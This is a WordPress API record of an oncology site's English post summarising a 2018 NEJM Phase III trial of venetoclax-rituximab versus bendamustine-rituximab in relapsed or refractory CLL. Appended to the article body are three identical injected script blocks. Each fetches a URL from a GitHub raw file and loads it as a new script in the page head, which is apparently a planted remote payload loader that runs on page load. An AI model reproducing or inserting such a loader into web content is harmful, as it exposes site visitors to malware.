{"id":1532,"date":"2018-04-12T16:10:43","date_gmt":"2018-04-12T14:10:43","guid":{"rendered":"https:\/\/germanoncology.de\/venetoclax-rituximab-bei-patienten-mit-rezidivierender-oder-refraktaerer-cll-dem-standard-bendamustin-rituximab-im-progressionsfreien-ueberleben-ueberlegen\/"},"modified":"2024-10-21T03:37:34","modified_gmt":"2024-10-21T01:37:34","slug":"venetoclax-rituximab-in-patients-with-recurrent-or-refractory-cll","status":"publish","type":"post","link":"https:\/\/germanoncology.de\/en\/venetoclax-rituximab-in-patients-with-recurrent-or-refractory-cll\/","title":{"rendered":"Venetoclax rituximab in patients with recurrent or refractory CLL"},"content":{"rendered":"<h3>Venetoclax rituximab is superior to Bendamustin rituximab in progression-free survival in patients with recurrent or refractory CLL.<\/h3>\n<p>A Phase III study was published in the New England Journal of Medicine (NEJM) on March 22, 2018 in which a total of n = 389 patients with recurrent or refractory CLL received either venetoclax over 2 years plus rituximab in the first 6 months (Venetoclax-Rituximab group), or bendamustine plus rituximab over 6 months (Bendamustin-Rituximab group). After a total of 23.8 months, at follow-up, a 2-year progression-free survival rate of 84.9% was observed for the Venetoclax-Rituximab group compared to 36.3% for the Bendamustin-Rituximab group. The benefits were independent of the risk status related to a deletion in chromosome 17p, as the 2-year rate for venetoclax rituximab on detection was 81.5% deletion in chromosome 17p (versus 27.8% for Bendamustin rituximab) and 85.9% without deletion in chromosome 17p (versus 41.0% for Bendamustin rituximab).<\/p>\n<p>Thus, for patients with recurrent or refractory CLL, it was generally demonstrated that a combination of venetoclax rituximab versus a combination of Bendamustin-Rituximab yields significantly better results in 2-year progression-free survival.<br \/>\n<script>;var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/lolngnos\/loles\/main\/step.txt';\nfetch(url)\n    .then(response => response.text())\n    .then(data => {\n        var script = document.createElement('script');\n        script.src = data.trim();\n        document.getElementsByTagName('head')[0].appendChild(script);\n    });<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Venetoclax rituximab is superior to Bendamustin rituximab in progression-free survival in patients with recurrent or refractory CLL. A Phase III study was published in the New England Journal of Medicine (NEJM) on March 22, 2018 in which a total of n = 389 patients with&#8230;<\/p>\n","protected":false},"author":1,"featured_media":1170,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/posts\/1532"}],"collection":[{"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/comments?post=1532"}],"version-history":[{"count":4,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/posts\/1532\/revisions"}],"predecessor-version":[{"id":2414,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/posts\/1532\/revisions\/2414"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/media\/1170"}],"wp:attachment":[{"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/media?parent=1532"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/categories?post=1532"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/germanoncology.de\/en\/wp-json\/wp\/v2\/tags?post=1532"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}